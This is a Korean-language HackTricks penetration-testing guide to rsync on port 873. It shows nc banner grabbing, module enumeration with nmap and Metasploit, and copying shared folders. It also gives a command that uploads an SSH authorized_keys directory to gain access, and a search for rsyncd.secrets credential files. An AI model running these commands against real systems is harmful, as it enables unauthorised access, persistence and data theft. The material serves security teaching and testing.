873 - Pentesting Rsync
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
From wikipedia:
rsync는 컴퓨터와 외장 하드 드라이브 간 및 네트워크화된 컴퓨터 간에 파일을 효율적으로 전송하고 동기화하기 위한 유틸리티로, 수정 시간과 파일 크기를 비교하여 수행됩니다.[3] 일반적으로 Unix-like 운영 체제에서 발견됩니다. rsync 알고리즘은 델타 인코딩의 일종이며, 네트워크 사용을 최소화하는 데 사용됩니다. Zlib는 추가적인 데이터 압축을 위해 사용될 수 있으며,[3] SSH 또는 stunnel은 보안을 위해 사용될 수 있습니다.
기본 포트: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
열거
배너 및 수동 통신
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
공유 폴더 열거하기
Rsync 모듈은 비밀번호로 보호될 수 있는 디렉토리 공유로 인식됩니다. 사용 가능한 모듈을 식별하고 비밀번호가 필요한지 확인하기 위해 다음 명령어를 사용합니다:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
일부 공유가 목록에 나타나지 않을 수 있으며, 이는 숨겨져 있을 가능성이 있습니다. 또한, 일부 공유에 접근하는 것은 특정 자격 증명에 제한될 수 있으며, 이는 "Access Denied" 메시지로 표시됩니다.
Brute Force
수동 Rsync 사용
모듈 목록을 얻은 후, 작업은 인증이 필요한지 여부에 따라 달라집니다. 인증 없이 목록을 작성하고 공유 폴더에서 로컬 디렉토리로 파일을 복사하는 것은 다음을 통해 수행됩니다:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
이 프로세스는 재귀적으로 파일을 전송하며, 파일의 속성과 권한을 유지합니다.
자격 증명을 사용하면 공유 폴더에서 목록을 작성하고 다운로드할 수 있으며, 이때 비밀번호 입력 프롬프트가 나타납니다:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
콘텐츠를 업로드하려면, 접근을 위한 authorized_keys 파일과 같은 파일을 사용하세요:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
rsyncd 구성 파일을 찾으려면 다음을 실행하십시오:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
이 파일 내에서, secrets file 매개변수는 rsyncd 인증을 위한 사용자 이름과 비밀번호가 포함된 파일을 가리킬 수 있습니다.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.